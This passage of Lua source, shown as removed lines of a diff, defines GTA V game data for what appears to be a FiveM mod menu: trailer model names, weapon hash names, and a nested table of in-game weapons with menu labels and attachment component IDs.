- }
- local b4 = {
- aH,
- aI,
- aJ,
- aK,
- aL,
- aM,
- aN,
- aO,
- aP,
- aQ,
- aR,
- aS,
- aT,
- aU,
- aV,
- aW,
- aX,
- aY,
- aZ,
- a_,
- b0,
- b1,
- b2
- }
- local b5 = {
- 'ArmyTanker',
- 'ArmyTrailer',
- 'ArmyTrailer2',
- 'BaleTrailer',
- 'BoatTrailer',
- 'CableCar',
- 'DockTrailer',
- 'Graintrailer',
- 'Proptrailer',
- 'Raketailer',
- 'TR2',
- 'TR3',
- 'TR4',
- 'TRFlat',
- 'TVTrailer',
- 'Tanker',
- 'Tanker2',
- 'Trailerlogs',
- 'Trailersmall',
- 'Trailers',
- 'Trailers2',
- 'Trailers3'
- }
- local b6 = {
- 'WEAPON_KNIFE',
- 'WEAPON_KNUCKLE',
- 'WEAPON_NIGHTSTICK',
- 'WEAPON_HAMMER',
- 'WEAPON_BAT',
- 'WEAPON_GOLFCLUB',
- 'WEAPON_CROWBAR',
- 'WEAPON_BOTTLE',
- 'WEAPON_DAGGER',
- 'WEAPON_HATCHET',
- 'WEAPON_MACHETE',
- 'WEAPON_FLASHLIGHT',
- 'WEAPON_SWITCHBLADE',
- 'WEAPON_PISTOL',
- 'WEAPON_PISTOL_MK2',
- 'WEAPON_COMBATPISTOL',
- 'WEAPON_APPISTOL',
- 'WEAPON_PISTOL50',
- 'WEAPON_SNSPISTOL',
- 'WEAPON_HEAVYPISTOL',
- 'WEAPON_VINTAGEPISTOL',
- 'WEAPON_STUNGUN',
- 'WEAPON_FLAREGUN',
- 'WEAPON_MARKSMANPISTOL',
- 'WEAPON_REVOLVER',
- 'WEAPON_MICROSMG',
- 'WEAPON_SMG',
- 'WEAPON_SMG_MK2',
- 'WEAPON_ASSAULTSMG',
- 'WEAPON_MG',
- 'WEAPON_COMBATMG',
- 'WEAPON_COMBATMG_MK2',
- 'WEAPON_COMBATPDW',
- 'WEAPON_GUSENBERG',
- 'WEAPON_MACHINEPISTOL',
- 'WEAPON_ASSAULTRIFLE',
- 'WEAPON_ASSAULTRIFLE_MK2',
- 'WEAPON_CARBINERIFLE',
- 'WEAPON_CARBINERIFLE_MK2',
- 'WEAPON_ADVANCEDRIFLE',
- 'WEAPON_SPECIALCARBINE',
- 'WEAPON_BULLPUPRIFLE',
- 'WEAPON_COMPACTRIFLE',
- 'WEAPON_PUMPSHOTGUN',
- 'WEAPON_SAWNOFFSHOTGUN',
- 'WEAPON_BULLPUPSHOTGUN',
- 'WEAPON_ASSAULTSHOTGUN',
- 'WEAPON_MUSKET',
- 'WEAPON_HEAVYSHOTGUN',
- 'WEAPON_DBSHOTGUN',
- 'WEAPON_SNIPERRIFLE',
- 'WEAPON_HEAVYSNIPER',
- 'WEAPON_HEAVYSNIPER_MK2',
- 'WEAPON_MARKSMANRIFLE',
- 'WEAPON_GRENADELAUNCHER',
- 'WEAPON_GRENADELAUNCHER_SMOKE',
- 'WEAPON_RPG',
- 'WEAPON_STINGER',
- 'WEAPON_FIREWORK',
- 'WEAPON_HOMINGLAUNCHER',
- 'WEAPON_GRENADE',
- 'WEAPON_STICKYBOMB',
- 'WEAPON_PROXMINE',
- 'WEAPON_BZGAS',
- 'WEAPON_SMOKEGRENADE',
- 'WEAPON_MOLOTOV',
- 'WEAPON_FIREEXTINGUISHER',
- 'WEAPON_PETROLCAN',
- 'WEAPON_SNOWBALL',
- 'WEAPON_FLARE',
- 'WEAPON_BALL'
- }
- local b7 = {
- Melee = {
- BaseballBat = {
- id = 'weapon_bat',
- name = '~h~~r~> ~s~Baseball Bat',
- bInfAmmo = false,
- mods = {}
- },
- BrokenBottle = {
- id = 'weapon_bottle',
- name = '~h~~r~> ~s~Broken Bottle',
- bInfAmmo = false,
- mods = {}
- },
- Crowbar = {
- id = 'weapon_Crowbar',
- name = '~h~~r~> ~s~Crowbar',
- bInfAmmo = false,
- mods = {}
- },
- Flashlight = {
- id = 'weapon_flashlight',
- name = '~h~~r~> ~s~Flashlight',
- bInfAmmo = false,
- mods = {}
- },
- GolfClub = {
- id = 'weapon_golfclub',
- name = '~h~~r~> ~s~Golf Club',
- bInfAmmo = false,
- mods = {}
- },
- BrassKnuckles = {
- id = 'weapon_knuckle',
- name = '~h~~r~> ~s~Brass Knuckles',
- bInfAmmo = false,
- mods = {}
- },
- Knife = {
- id = 'weapon_knife',
- name = '~h~~r~> ~s~Knife',
- bInfAmmo = false,
- mods = {}
- },
- Machete = {
- id = 'weapon_machete',
- name = '~h~~r~> ~s~Machete',
- bInfAmmo = false,
- mods = {}
- },
- Switchblade = {
- id = 'weapon_switchblade',
- name = '~h~~r~> ~s~Switchblade',
- bInfAmmo = false,
- mods = {}
- },
- Nightstick = {
- id = 'weapon_nightstick',
- name = '~h~~r~> ~s~Nightstick',
- bInfAmmo = false,
- mods = {}
- },
- BattleAxe = {
- id = 'weapon_battleaxe',
- name = '~h~~r~> ~s~Battle Axe',
- bInfAmmo = false,
- mods = {}
- }
- },
- Handguns = {
- Pistol = {
- id = 'weapon_pistol',
- name = '~h~~r~> ~s~Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_PISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_PISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- PistolMK2 = {
- id = 'weapon_pistol_mk2',
- name = '~h~~r~> ~s~Pistol MK 2',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_PISTOL_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_PISTOL_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_PISTOL_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Mounted Scope',
- id = 'COMPONENT_AT_PI_RAIL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Compensator',
- id = 'COMPONENT_AT_PI_COMP'
- },
- {
- name = '~h~~r~> ~s~Suppessor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- CombatPistol = {
- id = 'weapon_combatpistol',
- name = '~h~Combat Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATPISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- APPistol = {
- id = 'weapon_appistol',
- name = 'AP Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_APPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_APPISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- StunGun = {
- id = 'weapon_stungun',
- name = '~h~~r~> ~s~Stun Gun',
- bInfAmmo = false,
- mods = {}
- },
- Pistol50 = {
- id = 'weapon_pistol50',
- name = '~h~~r~> ~s~Pistol .50',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_PISTOL50_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_PISTOL50_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- SNSPistol = {
- id = 'weapon_snspistol',
- name = '~h~~r~> ~s~SNS Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SNSPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SNSPISTOL_CLIP_02'
- }
- }
- }
- },
- SNSPistolMkII = {
- id = 'weapon_snspistol_mk2',
- name = '~h~~r~> ~s~SNS Pistol Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_SNSPISTOL_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Mounted Scope',
- id = 'COMPONENT_AT_PI_RAIL_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH_03'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Compensator',
- id = 'COMPONENT_AT_PI_COMP_02'
- },
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP_02'
- }
- }
- }
- },
- HeavyPistol = {
- id = 'weapon_heavypistol',
- name = '~h~~r~> ~s~Heavy Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_HEAVYPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_HEAVYPISTOL_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- VintagePistol = {
- id = 'weapon_vintagepistol',
- name = '~h~~r~> ~s~Vintage Pistol',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_VINTAGEPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_VINTAGEPISTOL_CLIP_02'
- }
- },
- BarrelAttachments = {
- {
- 'Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- FlareGun = {
- id = 'weapon_flaregun',
- name = '~h~~r~> ~s~Flare Gun',
- bInfAmmo = false,
- mods = {}
- },
- MarksmanPistol = {
- id = 'weapon_marksmanpistol',
- name = '~h~~r~> ~s~Marksman Pistol',
- bInfAmmo = false,
- mods = {}
- },
- HeavyRevolver = {
- id = 'weapon_revolver',
- name = '~h~~r~> ~s~Heavy Revolver',
- bInfAmmo = false,
- mods = {}
- },
- HeavyRevolverMkII = {
- id = 'weapon_revolver_mk2',
- name = '~h~~r~> ~s~Heavy Revolver Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_REVOLVER_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Compensator',
- id = 'COMPONENT_AT_PI_COMP_03'
- }
- }
- }
- },
- DoubleActionRevolver = {
- id = 'weapon_doubleaction',
- name = '~h~~r~> ~s~Double Action Revolver',
- bInfAmmo = false,
- mods = {}
- },
- UpnAtomizer = {
- id = 'weapon_raypistol',
- name = '~h~~r~> ~s~Up-n-Atomizer',
- bInfAmmo = false,
- mods = {}
- }
- },
- SMG = {
- MicroSMG = {
- id = 'weapon_microsmg',
- name = '~h~~r~> ~s~Micro SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MICROSMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MICROSMG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_PI_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- }
- }
- },
- SMG = {
- id = 'weapon_smg',
- name = '~h~~r~> ~s~SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SMG_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_SMG_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- SMGMkII = {
- id = 'weapon_smg_mk2',
- name = '~h~~r~> ~s~SMG Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SMG_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SMG_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_SMG_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS_SMG'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_SMG_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_SB_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_SB_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- }
- }
- },
- AssaultSMG = {
- id = 'weapon_assaultsmg',
- name = '~h~~r~> ~s~Assault SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTSMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTSMG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- }
- }
- },
- CombatPDW = {
- id = 'weapon_combatpdw',
- name = '~h~~r~> ~s~Combat PDW',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATPDW_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATPDW_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_COMBATPDW_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- MachinePistol = {
- id = 'weapon_machinepistol',
- name = '~h~~r~> ~s~Machine Pistol ',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MACHINEPISTOL_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MACHINEPISTOL_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_MACHINEPISTOL_CLIP_03'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_PI_SUPP'
- }
- }
- }
- },
- MiniSMG = {
- id = 'weapon_minismg',
- name = '~h~~r~> ~s~Mini SMG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MINISMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MINISMG_CLIP_02'
- }
- }
- }
- },
- UnholyHellbringer = {
- id = 'weapon_raycarbine',
- name = '~h~~r~> ~s~Unholy Hellbringer',
- bInfAmmo = false,
- mods = {}
- }
- },
- Shotguns = {
- PumpShotgun = {
- id = 'weapon_pumpshotgun',
- name = '~h~~r~> ~s~Pump Shotgun',
- bInfAmmo = false,
- mods = {
- Flashlight = {
- {
- 'name = Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_SR_SUPP'
- }
- }
- }
- },
- PumpShotgunMkII = {
- id = 'weapon_pumpshotgun_mk2',
- name = '~h~~r~> ~s~Pump Shotgun Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Dragon Breath Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Steel Buckshot Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~Flechette Shells',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT'
- },
- {
- name = '~h~~r~> ~s~Explosive Slugs',
- id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_SR_SUPP_03'
- },
- {
- name = '~h~~r~> ~s~Squared Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_08'
- }
- }
- }
- },
- SawedOffShotgun = {
- id = 'weapon_sawnoffshotgun',
- name = '~h~~r~> ~s~Sawed-Off Shotgun',
- bInfAmmo = false,
- mods = {}
- },
- AssaultShotgun = {
- id = 'weapon_assaultshotgun',
- name = '~h~~r~> ~s~Assault Shotgun',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- BullpupShotgun = {
- id = 'weapon_bullpupshotgun',
- name = '~h~~r~> ~s~Bullpup Shotgun',
- bInfAmmo = false,
- mods = {
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- Musket = {
- id = 'weapon_musket',
- name = '~h~~r~> ~s~Musket',
- bInfAmmo = false,
- mods = {}
- },
- HeavyShotgun = {
- id = 'weapon_heavyshotgun',
- name = '~h~~r~> ~s~Heavy Shotgun',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_HEAVYSHOTGUN_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- DoubleBarrelShotgun = {
- id = 'weapon_dbshotgun',
- name = '~h~~r~> ~s~Double Barrel Shotgun',
- bInfAmmo = false,
- mods = {}
- },
- SweeperShotgun = {
- id = 'weapon_autoshotgun',
- name = '~h~~r~> ~s~Sweeper Shotgun',
- bInfAmmo = false,
- mods = {}
- }
- },
- AssaultRifles = {
- AssaultRifle = {
- id = 'weapon_assaultrifle',
- name = '~h~~r~> ~s~Assault Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- AssaultRifleMkII = {
- id = 'weapon_assaultrifle_mk2',
- name = '~h~~r~> ~s~Assault Rifle Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_AR_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_AR_BARREL_0'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
